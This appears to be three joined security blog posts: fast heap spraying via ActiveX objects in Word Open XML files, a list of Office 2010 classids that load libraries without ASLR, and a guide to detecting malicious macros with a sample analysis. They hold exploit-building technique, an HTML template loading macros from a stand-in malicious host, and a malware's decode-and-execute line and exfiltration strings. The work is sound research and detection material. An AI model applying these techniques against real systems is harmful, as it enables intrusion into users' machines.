Recently I’ve been researching into ActiveX controls in Office documents as I had some ideas I wanted to test out after reading Dominic Wang’s paper “Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 Microsoft Office CTaskSymbol Use-After-Free Vulnerability” [1] and Haifei Li’s and Bing Sun’s presentation slides “Attacking Interoperability: An OLE Edition” [2].

Some vulnerabilities that have been exploited in the past (CVE-2013-3906, CVE-2015-2424, CVE-2015-1641) have been embedding ActiveX controls to perform the heap spray whether be in Open XML format or encapsulated in RTF format. During my tests it was obvious that spraying the heap just took ages, waiting sometimes minutes before triggering the vulnerability. The exploits I examined either used one large ActiveX1.bin file or multiple ActiveX[x].bin files. This post just shows how we can spray the heap in seconds rather than minutes, mainly working with MS Word documents on a fully patched Windows 7 32bit with Office Professional 2010 with Open XML formatted files.

Office Open XML structure
I started looking into an Open XML formatted document which is basically a zip archive so just by renaming the extension to a zip we can extract, make changes to the files and zip it up again.  Running the tree command in the extracted folder of a simple Word document we see the files listed below which contains one ActiveX object.

|   [Content_Types].xml
|
+---docProps
|       app.xml
|       core.xml
|
+---word
|   |   document.xml
|   |   fontTable.xml
|   |   settings.xml
|   |   styles.xml
|   |   stylesWithEffects.xml
|   |   webSettings.xml
|   |
|   +---activeX
|   |   |   activeX1.bin
|   |   |   activeX1.xml
|   |   |
|   |   \---_rels
|   |           activeX1.xml.rels
|   |
|   +---media
|   |       image1.wmf
|   |
|   +---theme
|   |       theme1.xml
|   |
|   \---_rels
|           document.xml.rels
|
\---_rels
        .rels

activeX1.bin is our Compound Document Format file which would contain our sprayed data and activeX1.xml would contain our classid to be used. When adding or removing ActiveX objects manually there are 5 files you’ll need to update

[Content_Types].xml   – contains entries pointing to individual activeX[x].xml entries
document.xml                – contains ids which refer activex[x].xml files set in document.xml.rels
document.xml.rels        – contains individual image[x].wmf and activeX[x].xml entries, unique rIds
activeX[x].xml               – Calls classIDs in each activeX[x].xml files
activeX[x].xml.rels       – Points to individual activeX[x].bin files
activeX[x].bin                – Compound File Binary Format

Here we could modify activeX[x].xml.rels to point to the same ActiveX1.bin compound document file as normally Office creates multiple unique activeX[x].bin files. This would reduce our total file size, save some seconds at spray time and just easy to manage.

Compound File Binary Format
Using Microsoft’s Office Visualization Tool (OffVis) we can deconstruct the compound document file activeX1.bin in order to understand its structure and values. The Microsoft specifications document [3] explains everything you need to know about the format.

A compound file is a structure for storing a file system, similar to a simplified FAT file system inside a single file, by dividing the single file into sectors. It is capable of storing data that is structured as storage and streams.

Viewing our activeX1.bin file which is this case the classid is instantiating Flash. Here in the OLESSDirectoryEntry[0] section we could null out the values of the clsidThis field as when the document is opened the classid is read from our ActiveX[x].xml file. Another entry we could null out is the ModifyTime field values. One important field is Object Type. This field MUST be 0x00, 0x01, 0x02, or 0x05, depending on the actual type of object.

Unknown or unallocated   0x00
Storage Object                     0x01
Stream Object                      0x02
Root Storage Object           0x05

Non-root directory entries are normally marked as either stream or storage elements. So leaving OLESSDirectoryEntry[0] entry alone as Type 5 the other directory entries OLESSDirectoryEntry[1] OLESSDirectoryEntry[2] and OLESSDirectoryEntry[3] we could be changed to Type 0. Once Type changed to 0 the Data entry in OffVis dissappears, also SizeLow field values can then also be nulled. The SizeLow and SizeHigh fields represent the stream size (8 bytes). This 64-bit integer field contains the size of the user-defined data, if this is a stream object. For a root storage object, this field contains the size of the mini stream.

The benefit of these changes is that we can remove any unwanted data at the end and just have an ActiveX1.bin file of only 2048 bytes. As for nulling out clsidThis and ModifyTime fields just removes any reference to the classid or time modified. If we wanted to say encapsulate our sprayed data we could change the Type object value to 2 and SizeLow value as you can see below but not really necessary so no need to complicate stuff. when it comes to the spraying our data I noticed all we need to do is just append our sprayed data to our 2048 bytes compound file without making any further changes. This is enough to load it in memory.

Class IDs to use
Now the question comes to what classIDs do we use for our heap spray? ClassIDs are set in the ActiveX[x].xml files where then the associated libraries loads. After experimenting with different classids I realised any classID could be used, depending on what classID is being called affects the performance drastically.

For example exploits CVE-2013-3906 or CVE-2015-1641 used classID {1EFB6596-857C-11D1-B16A-00C0F0283628} (MSComctlLib.TabStrip.2).  This refers to library C:\Windows\system32\MSCOMCTL.OCX which is 1,070,232 bytes in size. This library is huge so the amount of time to spray accumulates on how many chunks being sprayed. So if I used a classID which referred to a library of a small file size the spray time reduced drastically. Taking it a step further, it was discovered that using a non-existing classID could be used such as {00000000-0000-0000-0000-000000000001}. Since this classID does not exist on the system there would be no referring library to load so in theory would further reduce the spray time. During tests this proved to be the case and heap spraying was successful and the time was further reduced.

The activeX[x].xml file would normally look like this

<?xml version='1.0' encoding='UTF-8' standalone='no'?>
<ax:ocx ax:classid='{00000000-0000-0000-0000-000000000001}'
ax:persistence='persistStorage' r:id='rId1'
xmlns:ax='http://schemas.microsoft.com/office/2006/activeX'
xmlns:r='http://schemas.openxmlformats.org/officeDocument/2006/relationships'/>

Heap Spraying times
To get an idea of what kind of times we are dealing with, MetaSploit’s TIFF Integer Overflow exploit [4] was used which uses ActiveX to spray the heap with 591 chunks using the classid {1EFB6596-857C-11D1-B16A-00C0F0283628} referring to MSCOMCTL.OCX library. To spray the heap it took around 1 minute 10 seconds. Now replacing the classid with {00000000-0000-0000-0000-000000000001} it took only around 6 seconds which is a huge difference.

The table below shows the times it takes to spray, memory addresses sprayed upto and memory allocated based on the number of chunks. These figures will vary but it just gives you an idea.

The size of the activeX1.bin file used on Office 2010 32bit was 514KB which takes a chunk size of 0x81000 (528384 bytes) in memory.

526,336 bytes = 2048 (header) + 1024 (block size) * 512 (no. of blocks)

Chunks Time to spray Memory spray to Memory allocated
500 5 seconds 0x16450000 300 mb
1000 10 seconds 0x28DD0000 575 mb
2000 20 seconds 0x4D3A0000 1.1 gb
4000 * 58 seconds 0x7FEB0000 2 gb

* This high number of chunks might not work and document will not properly open.

The size of the activeX1.bin file used on Office 2010 64bit was 1026KB which takes a chunk size of 0x101000 (1052672 bytes) in memory.

1,050,624 bytes = 2048 (header) + 1024 (block size) * 1024 (no. of blocks)

Chunks Time to spray Memory spray to Memory allocated
500 5 seconds 0x0000000027dc0000 583 mb
1000 12 seconds 0x000000004a2f0000 1.1 gb
2000 27 seconds 0x000000008f450000 2.1 gb
4000 120 seconds 0x0000000117910000 4 gb

Memory allocated on Windows 7 32bit with Office 2010 32bit

Memory allocated on Windows 7 64bit with Office 2010 64bit

Mitigation
Spraying the heap using classids that do not exist on the system prevents a number of mitigations. So disabling ActiveX controls in Microsoft Office via the Trust Center settings or via Office kill bit in the registry are ineffective. Only using Microsoft EMET’s heap spray mitigation would provide some protection.

Summary
To get the fastest spray possible the main points to take away is

1. Use one ActiveX1.bin compound document file
2. Use a smaller ActiveX1.bin file with more xmls calling it
3. Use a classID that doesn’t exist on the system

All my Word document spray files and perl scripts you can download from here. When creating your own documents with the scripts just extract a existing document and overwrite with the files created by the scripts.

References
[1] https://www.nccgroup.trust/uk/our-research/understanding-microsoft-word-ole-exploit-primitives
[2] https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf [PDF]
[3] https://msdn.microsoft.com/en-gb/library/dd942138.aspx
[4] https://www.rapid7.com/db/modules/exploit/windows/fileformat/mswin_tiff_overflow

This is just a short post highlighting how easily ASLR could be bypassed by instantiating ActiveX controls using certain classids in Microsoft Office. I’ve mainly tested with MS Word on an updated Windows 7 32bit with Office 2010 32bit but other applications such as Excel and PowerPoint should work too.

All these classids listed in the below table give security warning prompt but the library will still load before any action is taken.

Library sqlceca35.dll comes with Microsoft SQL Server Compact which is an embedded database that gets installed by Microsoft Office. I’ve seen some systems with version 4.0 installed where sqlceca40.dll has its dynamic bit set and thus gets ASLRed.

C:\Program Files\Microsoft SQL Server Compact Edition\v3.5\sqlceca35.dll
{20347534-760B-464D-B572-285E6B618257} SSCE.Error.3.5
{3018609E-CDBC-47E8-A255-809D46BAA319} SSCE.DropTableListner.3.5
{455C3E04-BFE9-4089-8622-F2464EC3FDDB} SSCE Active Sync Engine.3.5
{7C7E6C99-BB8D-4718-AAA9-70C4320010DE} SSCE.Params.3.5
{8CD1B98D-D8D5-4B51-9564-48B12A98698F} SSCE.RemoteDataAccess.3.5
{9E7E2CCE-3F1F-4891-892C-AC8B486D03B2} SSCE.Params.3.5
{9FD542D2-61C4-4E9F-A8E2-E6B8C7F64CBF} SSCE.Errors.3.5
{A9D3060D-3526-4538-B13A-1913568DAA0D} SSCE.Engine.3.5
{EA91E968-EF93-4FF1-86F3-75CC93416DF2} SSCE.Replication.3.5
C:\Program Files\Microsoft SQL Server Compact Edition\v3.5\sqlceoledb35.dll
{90A1998A-EB21-4F61-872F-F4DFDE1065D6} Microsoft.SQLSERVER.CE.OLEDB.
ErrorLookup.3.5
C:\Program Files\Common Files\System\Ole DB\XMLRW.dll
C:\Program Files\Common Files\System\Ole DB\XMLRWBIN.dll
{10154F28-4979-4166-B114-3E7A7926C747} MSOLAP.4
{867CD778-80D7-4f93-989E-B3E76A92FB42} MSOLAP100ErrorLookup.1
C:\Windows\system32\msvbvm60.dll
{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}
C:\Program Files\Common Files\Microsoft Shared\Help\msitss55.dll
C:\Program Files\Common Files\Microsoft Shared\TRANSLAT\FREN\MSB1FREN.DLL
C:\Program Files\Common Files\Microsoft Shared\Help\ITIRCL55.DLL
C:\Program Files\Common Files\Microsoft Shared\TRANSLAT\ESEN\MSB1ESEN.DLL
{5591379C-B467-4BCA-B647-A438712504B0} LR.LexRefTfFunctionProvider.1.0.1
C:\Program Files\Microsoft Sync Framework\v1.0\Runtime\x86\Synchronization.dll
{A7B3B4EE-925C-4D6C-B007-A4A6A0B09143}
C:\Program Files\Microsoft Sync Framework\v1.0\Runtime\x86\FeedSync.dll
{BC0CD90A-2C24-41BE-B6EC-87C15D919418}
C:\Program Files\Common Files\Microsoft Shared\VSTA\8.0\x86\VSTARemotingServer.dll
{60A896CA-1649-45BF-B63F-2E7312A968F0}
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualStudio.Tools.Applications.Blueprints\
8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualStudio.Tools.Applications.Blueprints.dll
{65C52C10-2286-420A-B35C-15CF7F9B5876} Microsoft.VisualStudio.Tools.Applications.
Blueprints.HostControl
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualStudio.Tools.Applications.DesignTime\
8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualStudio.Tools.Applications.DesignTime.dll
{9DA65B6A-813C-4592-9E8A-412C40BBC4B7} Microsoft.VisualStudio.Tools.Applications.
DesignTime.HostAdapter

Some are shown to get rebased as I loaded all libraries in one go but if loaded individually the address should not change.

Taking a look in Office 2010 64bit we still see some do not get ASLRed.

Disabling ActiveX controls in Microsoft Office
Disabling ActiveX controls can be configured via the Trust Center settings

File — Options — Trust Center — Trust Center Settings — ActiveX Settings

This will disable all controls so probably not a good idea in your environment

Disabling specific embedded ActiveX controls with Office kill bit
To enable the Office COM kill bit for a specific control to block a registry key would need to be added with the CLSID of the ActiveX control then add a DWORD value of 0x00000400 to the Compatibility Flags. The location for setting the Office 2010 COM kill bit in the registry is

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common\COM Compatibility

Microsoft EMET
Using EMET we can see all libraries get ASLRed.

Microsoft Office 2013
Finally in Office 2013 the classids that do exist, the libraries that do load have already got there dynamic bit set and get ASLRed

All the documents with these classids can be downloaded from here

For the past few months I have been looking into macro enabled Office documents and during that time I have detected hundreds of malicious documents. This post just highlights what to look out for so it might benefit some of you if deciding to notify or quarantine mail in your environment. I’ve also did a quick analysis on a Word2010 formatted document I received last week.

So what are Macros?
Macros are a series of commands that can be run automatically to perform a task. Macro code is embedded in Office documents written in a programming language known as Visual Basic for Applications (VBA). Macros could be used maliciously to drop malware, download malware, etc. Malicious macro files usually are received in Word documents or Excel spreadsheets but other formats do exist though I have never encountered them. Once a malicious document is opened only a single click is next required for the macro code to run.

Automating Macros
Visual Basic has reserved names for launching code when documents are opened. These names are the key to detect possible malicious code. Sometimes are used for legitimate purposes but generally we should consider them dangerous. For Word the reserved names that could be used maliciously are AutoOpen() and Document_Open() and for Excel the reserved names are Auto_Open() and Workbook_Open(). These days malicious documents are using AutoOpen() and Auto_Open() but Document_Open() and Workbook_Open() could also be used.

Below is an example in Word document where AutoOpen() subroutine is set in Modules-NewMacros

The macros could also be added in the “ThisDocument” section and then NewMacros section is not really required

Similarly in Excel the subroutine Workbook_Open() would be in the “ThisWorkbook” section and the Module1 section is not required

What to look for
Below is a table of the kind of strings to search for based on the extension and file format.

Format Reserved Names Embedded in Extensions
Word 2003 AutoOpen
Document_Open
n/a Doc dot*
Excel 2003 Auto_Open
Workbook_Open
n/a Xls xlt
Word 2010 AutoOpen
Document_Open
vbaProject.bin Docm dotm* doc (renamed)
Excel 2010 Auto_Open
Workbook_Open
vbaProject.bin Xls xlsb xltm

*Only applies when using Document_Open name.

Word 2003 also supports saving macro enabled documents to be saved as XML extension files which are able to run on Word 2010. XML files can also be renamed to a doc extension. The macro code in XML is stored as base64 and the string to search for would be w:macrosPresent=”yes”

Office 2010 format is not a binary format like Office 2003 documents. Office 2010 documents are an Office Open XML (OOXML) format which was introduced with Microsoft Office 2007. Office Open XML is a zipped, XML-based file format so string “vbaProject.bin” would need to be searched in the initial file. Within this vbaProject.bin file the reserved subroutine names will be found.

Couple of months ago a new macro based documents have been seen in the wild. These documents were web page based formatted documents saved as MHT files (Single File Web Page) and then renamed to a doc. Strings you could search for are MIME-Version, Content-Location and x-mso. I have not seen xls extension being used in the wild, most likely because it adds another warning when opened.

When saving macro based documents as HTML files (Web Page) the file extension could be renamed from html to doc or xls. The editdata.mso is a zlib compressed file which contains the macros. The mso file could be called anything so not dependent on this name. If the mso file was to be dropped but some other means the macro document contents would look like this below

<html>
<link rel=Edit-Time-Data href="C:/Temp/editdata.mso">
<body>Will open Windows Calculator to test macros</body>
</html>

If the mso file was to be downloaded remotely an extra warning would be given.

<html>
<link rel=Edit-Time-Data href="http://www.malicioussite.com/editdata.mso">
<body>Will open Windows Calculator to test macros</body>
</html>

 

Malicious Word 2010 Document “email_message.doc” Analysis
I’ve never detected an Office 2010 formatted document till now. Pretty much every document happens to be in Word 2003 format. Below is some quick analysis I did just to highlight the unusual properties taken.

The “email_message.doc” I detected last week sent with a doc extension. Office 2010 macro enabled Word documents by default takes a docm extension. Once this particular malicious document has been opened you’ll see this content

Looking into the macros we see a new technique used to obfuscate its code not seen before (as far as know). In the “NewMacros” section the code can be clearly seen dropping the code then executing it.

We also see pretty much the same code in the “ThisDocument” section.

The line of code of real importance is

dll = Base64Decode(UserForm1.TextBox1)

Here is reads the encoded base64 string from UserForm1.TextBox1 and decodes it before writing to disk and executing it.

Even though the same macro codes are in “ThisDocument” and “NewMacros” section the code in “NewMacros” will not work due to using the reserved macro subroutine name “Document_Open” which only works when used in the “ThisDocument” section.

Final part of the macro code in the malicious document runs a subrountine ClearDocPasteText(“”) which clears the document contents which end up viewing a blank document.

Uploading the Word document to VirusTotal yesterday detected 33/55 and the dropped binary file detected 38/55

Finally some strings in the binary stand out which suggest this malware spams out emails.

00027EB1   0042A2B1      0   MailAddr
00027EBE   0042A2BE      0   reports-2012@qip.ru
00027ED2   0042A2D2      0   SendInBackgr
00027EE0   0042A2E0      0   MailAsSmtpServer
00027EF2   0042A2F2      0   MailAsSmtpClient
00027F04   0042A304      0   UploadViaHttp 
00027F13   0042A313      0   MailViaMapi 
00027F20   0042A320      0   MailViaMailto
00027F2F   0042A32F      0   SmtpServer
00027F3F   0042A33F      0   SmtpPort
00027F4D   0042A34D      0   SmtpAccount
00027F5E   0042A35E      0   SmtpPassword
00027F70   0042A370      0   HttpServer
00027F7F   0042A37F      0   http://repo.int.qip.ru/send
00027F9B   0042A39B      0   HttpPort
00027FA9   0042A3A9      0   HttpAccount
00027FBA   0042A3BA      0   HttpPassword
00027FCC   0042A3CC      0   AttachBugRep 
00027FDA   0042A3DA      0   AttachBugRepFile 
00027FEC   0042A3EC      0   DelBugRepFile 
00027FFB   0042A3FB      0   BugRepSendAs
0002800C   0042A40C      0   bugreport.txt BugRepZip
00028029   0042A429      0   ScrShotDepth
0002803B   0042A43B      0   ScrShotAppOnly 
0002804B   0042A44B      0   ScrShotSendAs
0002805D   0042A45D      0   screenshot.png
0002806C   0042A46C      0   ScrShotZip

References
http://support.microsoft.com/en-us/kb/286310
http://en.wikipedia.org/wiki/Office_Open_XML
http://blog.didierstevens.com/2015/03/09/a-new-type-of-malicious-document-xml/
http://www.howtogeek.com/171993/macros-explained-why-microsoft-office-files-can-be-dangerous/
https://nakedsecurity.sophos.com/2015/03/06/from-the-labs-new-developments-in-microsoft-office-malware/